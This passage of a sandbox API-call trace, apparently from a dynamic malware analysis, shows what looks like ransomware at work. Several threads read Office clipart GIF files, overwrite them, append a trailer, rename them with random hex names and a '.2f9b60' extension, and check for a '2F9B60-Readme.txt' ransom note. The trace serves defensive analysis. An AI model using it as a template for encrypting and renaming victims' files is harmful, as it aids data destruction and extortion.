_Dest="fc") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="e9") returned 2 [0116.960] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="08") returned 2 [0116.960] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="25") returned 2 [0116.960] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="fe") returned 2 [0116.960] RtlInitAnsiString (in: DestinationString=0x3a2ff908, SourceString="fd8d4cab4031614cd06f7aac80762192543954fce90825fe" | out: DestinationString="fd8d4cab4031614cd06f7aac80762192543954fce90825fe") [0116.960] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a2ff8d8, SourceString="fd8d4cab4031614cd06f7aac80762192543954fce90825fe", AllocateDestinationString=1 | out: DestinationString="fd8d4cab4031614cd06f7aac80762192543954fce90825fe") returned 0x0 [0116.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9080 [0116.960] wcscat (in: _Dest=0x2050c710, _Source="fd8d4cab4031" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\fd8d4cab4031") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\fd8d4cab4031" [0116.960] wcscat (in: _Dest=0x2050c710, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\fd8d4cab4031.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\fd8d4cab4031.2f9b60" [0116.960] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\fd8d4cab4031.2f9b60", NtPathName=0x3a2ff8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\fd8d4cab4031.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1186e0 [0116.960] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x3a2ff950, FileInformation=0x1186e0, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1186e0) returned 1 [0117.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49850) returned 1 [0117.129] NtQueryInformationFile (in: FileHandle=0x149c, IoStatusBlock=0x3a2ff918, FileInformation=0x3a2ff928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a2ff918, FileInformation=0x3a2ff928) returned 0x0 [0117.129] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x3a2ff918, FileInformation=0x3a2ff928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c710) returned 1 [0117.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9080) returned 1 [0117.133] FlushFileBuffers (hFile=0x149c) returned 1 [0117.134] CloseHandle (hObject=0x149c) returned 1 [0117.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050c710 [0117.134] wcscpy (in: _Dest=0x2050c710, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.134] wcscat (in: _Dest=0x2050c710, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c710) returned 1 [0117.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862510) returned 1 Thread: id = 1269 os_tid = 0xdb4 [0115.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif")) returned 0x20 [0116.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF", dwFileAttributes=0x20) returned 1 [0116.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c0 [0116.360] GetFileSizeEx (in: hFile=0x14c0, lpFileSize=0x3a40f8c0 | out: lpFileSize=0x3a40f8c0*=1709) returned 1 [0116.360] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x6a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.360] ReadFile (in: hFile=0x14c0, lpBuffer=0x3a40f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a40f888, lpOverlapped=0x0 | out: lpBuffer=0x3a40f840*, lpNumberOfBytesRead=0x3a40f888*=0x4, lpOverlapped=0x0) returned 1 [0116.369] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0116.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0116.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0116.369] NtQuerySystemTime (in: CurrentTime=0x3a40f780 | out: CurrentTime=0x3a40f780*=132462177218278000) returned 0x0 [0116.369] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0xe4d67c3 [0116.369] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x7786e637 [0116.369] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x42a8aafc [0116.369] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x7ab93755 [0116.369] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x1abb9471 [0116.369] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x6f7e41c4 [0116.369] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x552273c0 [0116.369] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x4b2bb553 [0116.369] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x2f6d9af7 [0116.369] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x2f36e276 [0116.369] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x70ce05de [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x4a7526e0 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x4bc46474 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x7d8d6137 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x2c0f29d4 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x77ce7502 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x468eca94 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x4f875d6 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x1b7268d3 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x177ba5a0 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x4a250166 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x467571a0 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x33d7fb9d [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x73420bd0 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x141c14d8 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x2809ffa2 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x672b4b12 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x452e10e6 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x55782540 [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x5d0a06ed [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x22f89e8a [0116.370] RtlRandomEx (in: Seed=0x3a40f770 | out: Seed=0x3a40f770) returned 0x74c0817e [0116.379] ReadFile (in: hFile=0x14c0, lpBuffer=0x2016a520, nNumberOfBytesToRead=0x6ad, lpNumberOfBytesRead=0x3a40f770, lpOverlapped=0x0 | out: lpBuffer=0x2016a520*, lpNumberOfBytesRead=0x3a40f770*=0x6ad, lpOverlapped=0x0) returned 1 [0116.379] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.379] WriteFile (in: hFile=0x14c0, lpBuffer=0x20179560*, nNumberOfBytesToWrite=0x6ad, lpNumberOfBytesWritten=0x3a40f774, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesWritten=0x3a40f774*=0x6ad, lpOverlapped=0x0) returned 1 [0116.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0116.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0116.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263740) returned 1 [0116.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0116.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016a520) returned 1 [0116.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0116.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0116.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263740 [0116.462] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.462] WriteFile (in: hFile=0x14c0, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a40f890, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3a40f890*=0x10a, lpOverlapped=0x0) returned 1 [0116.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0116.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0116.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0116.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e90) returned 1 [0116.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0116.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0116.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e90) returned 1 [0116.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0116.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0116.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0116.482] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="87") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="51") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="67") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="ed") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="02") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="8f") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="82") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="5b") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="53") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="bc") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="bc") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="3e") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="b7") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="4c") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="a9") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="7f") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="e0") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="af") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="4f") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="63") returned 2 [0116.482] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="ae") returned 2 [0116.483] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="ce") returned 2 [0116.483] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="b1") returned 2 [0116.483] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="0a") returned 2 [0116.483] RtlInitAnsiString (in: DestinationString=0x3a40f908, SourceString="875167ed028f825b53bcbc3eb74ca97fe0af4f63aeceb10a" | out: DestinationString="875167ed028f825b53bcbc3eb74ca97fe0af4f63aeceb10a") [0116.483] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a40f8d8, SourceString="875167ed028f825b53bcbc3eb74ca97fe0af4f63aeceb10a", AllocateDestinationString=1 | out: DestinationString="875167ed028f825b53bcbc3eb74ca97fe0af4f63aeceb10a") returned 0x0 [0116.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9320 [0116.483] wcscat (in: _Dest=0x2050c0e0, _Source="875167ed028f" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\875167ed028f") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\875167ed028f" [0116.483] wcscat (in: _Dest=0x2050c0e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\875167ed028f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\875167ed028f.2f9b60" [0116.483] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\875167ed028f.2f9b60", NtPathName=0x3a40f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\875167ed028f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1190a0 [0116.483] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x3a40f950, FileInformation=0x1190a0, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1190a0) returned 1 [0117.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0117.103] NtQueryInformationFile (in: FileHandle=0x14c0, IoStatusBlock=0x3a40f918, FileInformation=0x3a40f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a40f918, FileInformation=0x3a40f928) returned 0x0 [0117.103] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x3a40f918, FileInformation=0x3a40f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c0e0) returned 1 [0117.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9320) returned 1 [0117.108] FlushFileBuffers (hFile=0x14c0) returned 1 [0117.113] CloseHandle (hObject=0x14c0) returned 1 [0117.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050be20 [0117.114] wcscpy (in: _Dest=0x2050be20, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.114] wcscat (in: _Dest=0x2050be20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050be20) returned 1 [0117.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8625c0) returned 1 Thread: id = 1270 os_tid = 0xdb8 [0115.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif")) returned 0x20 [0116.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF", dwFileAttributes=0x20) returned 1 [0116.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xab4 [0116.338] GetFileSizeEx (in: hFile=0xab4, lpFileSize=0x3a4ff900 | out: lpFileSize=0x3a4ff900*=1695) returned 1 [0116.339] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x69b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.339] ReadFile (in: hFile=0xab4, lpBuffer=0x3a4ff880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a4ff8c8, lpOverlapped=0x0 | out: lpBuffer=0x3a4ff880*, lpNumberOfBytesRead=0x3a4ff8c8*=0x4, lpOverlapped=0x0) returned 1 [0116.614] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0116.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263680 [0116.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0116.615] NtQuerySystemTime (in: CurrentTime=0x3a4ff7c0 | out: CurrentTime=0x3a4ff7c0*=132462177220774000) returned 0x0 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x6b9a7ae2 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x710a0359 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x3e7e8ef8 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x6c078322 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x661cae53 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x7ea44ccd [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x697b7c97 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x5838ba0f [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x276dfc76 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x13474ff7 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x411c06ec [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x106ea051 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x5dca5485 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x282233b5 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x5d0221c9 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x7ad1554d [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x7c7e26c2 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x3f07ff4b [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x34d5bd7f [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0xaf97019 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x680885b3 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x1487fa05 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0xdd7dc6c [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x27babe38 [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x4657902f [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x5c4bcd4e [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x59dfa12b [0116.615] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x52f57200 [0116.616] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x1cd06931 [0116.616] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x11700c75 [0116.616] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x688c6f4f [0116.616] RtlRandomEx (in: Seed=0x3a4ff7b0 | out: Seed=0x3a4ff7b0) returned 0x8c01b5f [0116.625] ReadFile (in: hFile=0xab4, lpBuffer=0x41b9b4e0, nNumberOfBytesToRead=0x69f, lpNumberOfBytesRead=0x3a4ff7b0, lpOverlapped=0x0 | out: lpBuffer=0x41b9b4e0*, lpNumberOfBytesRead=0x3a4ff7b0*=0x69f, lpOverlapped=0x0) returned 1 [0116.625] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.625] WriteFile (in: hFile=0xab4, lpBuffer=0x41b9f0f0*, nNumberOfBytesToWrite=0x69f, lpNumberOfBytesWritten=0x3a4ff7b4, lpOverlapped=0x0 | out: lpBuffer=0x41b9f0f0*, lpNumberOfBytesWritten=0x3a4ff7b4*=0x69f, lpOverlapped=0x0) returned 1 [0116.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a90 [0116.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859af0 [0116.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859af0) returned 1 [0116.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b9f0f0) returned 1 [0116.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b9b4e0) returned 1 [0116.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b859af0 [0116.778] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.778] WriteFile (in: hFile=0xab4, lpBuffer=0x167820*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a4ff8d0, lpOverlapped=0x0 | out: lpBuffer=0x167820*, lpNumberOfBytesWritten=0x3a4ff8d0*=0x10a, lpOverlapped=0x0) returned 1 [0116.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0116.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0116.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615e0 [0116.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202615e0) returned 1 [0116.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615e0 [0116.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fd0 [0116.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261fd0) returned 1 [0116.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0116.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0116.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 